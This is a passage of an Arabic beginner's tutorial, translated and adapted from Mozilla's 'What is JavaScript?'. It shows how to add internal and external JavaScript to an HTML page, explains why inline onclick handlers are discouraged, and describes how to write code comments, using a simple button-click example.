تحديث عرض صفحة الوِب أو التطبيق لإظهار أشياء مختلفة في ظروف مختلفة، وتوليد محتوى جديد حسب الطلب. تُنشِئ الشفرة من جانب الخادوم ديناميكيا محتوى جديدًا على الخادوم، سحب بيانات من قاعدة بيانات على سبيل المثال؛ في حين أن جافاسكريبت من جانب العميل تُنشِئ ديناميكيا محتوى جديدًا داخل المتصفح (العميل)، على سبيل المثال إنشاء جدول HTML جديد، وإدراج البيانات المطلوبة من الخادوم في ذلك الجدول، ثم عرض الجدول في صفحة وِب للمستخدم. يعمل المنهجان معًا عادة. يشار إلى صفحة الوِب التي لا يوجد بها محتوى ديناميكي بأنها ثابتة Static، حيث يظهر دائما نفس المحتوى بغضّ النظر عن الزائر. كيف تضيف جافاسكريبت إلى صفحتك؟ يتم تطبيق جافاسكريبت على صفحة HTML بطريقة مشابهة لـ CSS. في حين تستخدم CSS عناصر <link> لتطبيق الأنماط الخارجية وعناصر <style> لتطبيق الأنماط الداخلية على HTML، تحتاج جافاسكريبت إلى صديق واحد فقط في عالم HTML، العنصر <script>. دعونا نتعلم كيفية العمل. جافاسكريبت داخلي أنشئ مستند HTML بالمحتوى التالي <!DOCTYPE html> <html lang="ar" dir="rtl"> <head> <title>مثال تطبيقي لجافاسكريبت</title> </head> <body> <button>انقر هنا</button> </body> </html> </html> استعرض الملف في متصفح الوِب وفي محرر النصوص. سترى أن HTML أنشأت صفحة وِب بسيطة تحتوي على زر قابل للنقر. بعد ذلك، انتقل إلى محرر النصوص وأضف ما يلي مباشرة قبل وسم الإغلاق <body/>: <script> // سنضع تعليمات جافاسكريبت هنا </script> سنضيف الآن بعض جافاسكريبت داخل عنصر <script> لجعل الصفحة تفعل شيئا أكثر إثارة للاهتمام. أضف الشفرة التالية أسفل السطر // سنضع تعليمات جافاسكريبت هنا مباشرة: function createParagraph() { var para = document.createElement('p'); para.textContent = 'لقد نقرت على الزرّ!'; document.body.appendChild(para); } var buttons = document.querySelectorAll('button'); for (var i = 0; i < buttons.length ; i++) { buttons[i].addEventListener('click', createParagraph); } احفظ الملف في محرّر النصوص ثم حدّث الصفحة على المتصفح. يجب أن الآن أن تظهر فقرة جديدة أسفل الزّر عند النقر عليه. ملاحظة: إذا لم يعمل المثال الخاص بك، راجع الخطوات مرة أخرى وتحقق من أنك فعلت كل شيء بشكل صحيح. هل حفظت الملف بامتداد html (مثلا lesson1.html)؟ هل أضفت العنصر <script> بعد علامة <body/> مباشرة؟ هل أدخلت جافاسكريبت تماما كما هو موضح؟ جافاسكريبت حساسة لحالة الأحرف +(صغيرة Lowercase أو كبيرة Uppercase)، لذلك تحتاج إلى إدخال الشفرة تماما كما هو مبين، وإلا فلن تعمل. جافاسكريبت خارجي ماذا لو أردنا وضع جافاسكريبت لدينا في ملف خارجي؟ دعونا نستكشف هذا الآن. أولا، أنشئ ملفًا جديدا في نفس المجلّد الذي يوجد به ملف HTML وسمّه script.js. تأكد من أنه يحتوي على امتداد اسم الملفjs، وهذه هي الطريقة التي يُتعرَّف بها على أننا أمام ملف يحوي شفرات برمجية مكتوبة بجافاسكريبت. بعد ذلك، انسخ كل النص البرمجي من الوسم <script> في ملف HTML (تلك التعليمات الموجودة في الخطوة 4 من الفقرة السابقة) وألصقه في الملف script.js ثم احفظ هذا الملف. الآن استبدل العنصر الحالي <script> بما يلي. <script src="script.js"></script> يصبح محتوى الملف HTML على النحو التالي: <!DOCTYPE html> <html lang="ar" dir="rtl"> <head> <title>مثال تطبيقي لجافاسكريبت</title> </head> <body> <button>انقر هنا</button> <script src="script.js"></script> </body> </html> احفظ الملفّ ثم حدّث صفحة الوِب في المتصفح. ويجب أن تحصُل على نفس النتيجة تمامًا! ولكن الآن لدينا جافاسكريبت في ملف خارجي. يعدّ هذا عموما أمرا جيّدًا من حيث تنظيم التعليمات البرمجية الخاصة بك، وجعلها قابلة لإعادة الاستخدام عبر ملفات HTML متعددة. بالإضافة إلى HTML تصبح أسهل للقراءة دون وجود قطع ضخمة من السكربت ملقاة فيها. شفرات جافاسكريبت المضمنة في وسوم HTML تُكتَب شفرة جافاسكريبت أحيانا داخل HTML على النحو التالي: function createParagraph() { var para = document.createElement('p'); para.textContent = 'You clicked the button!'; document.body.appendChild(para); } <button onclick="createParagraph()">Click me!</button> استعرض المثال على Jsfiddle لهذا العرض التوضيحي نفس الوظائف التي عرضناها في الحالتيْن أعلاه، إلا أن عنصر <button> يتضمن خاصيّة onclick مضمنة لتشغيل وظيفة الدالة عند الضغط على زر. رجاءً لا تضمّن شفرات جافاسكريبت في وسوم HTML فهذه الطريقة من الممارسات السيئة (خلط HTML مع جافاسكريبت)، كما أنها غير فعالة لأن عليك أن تدرج الخاصيّة onclick="createParagraph()" على كل زر تريد تطبيق جافاسكريبت عليه. أما باستخدام شفرة جافاسكريبت منفصلة عن HTML فيمكنك تحديد كافة الأزرار باستخدام تعليمة واحدة. الشفرة التي استخدمناها أعلاه لهذا الغرض تبدو كما يلي: var buttons = document.querySelectorAll('button'); for (var i = 0; i < buttons.length ; i++) { buttons[i].addEventListener('click', createParagraph); } قد يبدو هذا الأمر أطول قليلا من الخاصيّة onclick، ولكنه سيعمل على جميع الأزرار بغض النظر عن عدد الأزرار الموجودة في الصفحة وعدد العناصر التي أُضيفت أو أزيلت، فلا يلزم تغيير جافاسكريبت. ملاحظة: جرب تعديل ملف HTML وإضافة بضعة أزرار أخرى في الملف. عند إعادة التحميل، يجب أن تجد أن جميع الأزرار عند النقر عليها سوف تُظهر فقرة. هذا رائع أليس كذلك؟ التعليقات Comments كما هو الحال مع HTML و CSS، يمكنك كتابة تعليقات في شفرة جافاسكريبت وسيتجاهلها المتصفح. تُستخدم التعليقات لتقديم توضيحات لزملائك المطورين عن كيفية عمل الشفرة، كذلك تمثل مرجعًا لك عن التعليمات البرمجية التي كتبتها عندما تعود مثلًا بعد 6 أشهر لتتذكر مالذي فعلته. التعليقات مفيدة جدًا، ويجب عليك استخدامها في كثير من الأحيان، وخاصة بالنسبة للتطبيقات الكبيرة. هناك نوعان من التعليقات: تعليقات من سطر واحد، وتُكتَب بعد عموديْن مائليْن؛ مثلا: // هذا تعليق تعليق متعدّد الأسطر. يُكتَب بين المحارف / * و * / على النحو التالي: /* هذا تعليق هو الآخر */ تطبيق التعليقات على تعليمات جافاسكريبت السابقة: // دالة تنشئ فقرة جديدة وتضيفها إلى نهاية متن الصفحة function createParagraph() { var para = document.createElement('p'); para.textContent = 'You clicked the button!'; document.body.appendChild(para); } /* 1. نحصُل على مراجع بجميع الأزرار الموجودة في الصفحة ونضعها في مصفوفة 2. نمرّ على جميع الأزرار ونضيف إلى كلّ منها مستمعًا لحدث النقر تُنفَّذ الدالة ()createParagraph عندما ينقر على زرّ في الصفحة. */ var buttons = document.querySelectorAll('button'); for (var i = 0; i < buttons.length ; i++) { buttons[i].addEventListener('click', createParagraph); } كانت هذه خطوتك الأولى في عالم جافاسكريبت. لقد بدأنا بالمفاهيم النظرية فقط لجعلك تفهم لماذا تُستخدم جافاسكربت وما الأشياء التي يمكنك القيام بها باستخدام هذه اللغة. تعرّفت في هذا المقال على بضعة أمثلة من التعليمات البرمجية وتعلّمت كيفية تتفاهم لغةُ جافاسكريبت مع بقية التعليمات البرمجية على موقع الوِب. قد تبدو الآن جافاسكريبت شاقة بعض الشيء، ولكن لا تقلق - في هذه السلسلة من الدروس سوف نأخذك في خطوات بسيطة تمكّنك من المضي قدمًا في عالم جافاسكربت. ترجمة - بتصرف - للمقال What is JavaScript? الذي اشترك في كتابته مساهمو موزيللا.
    1 نقطة
×
×
  • أضف...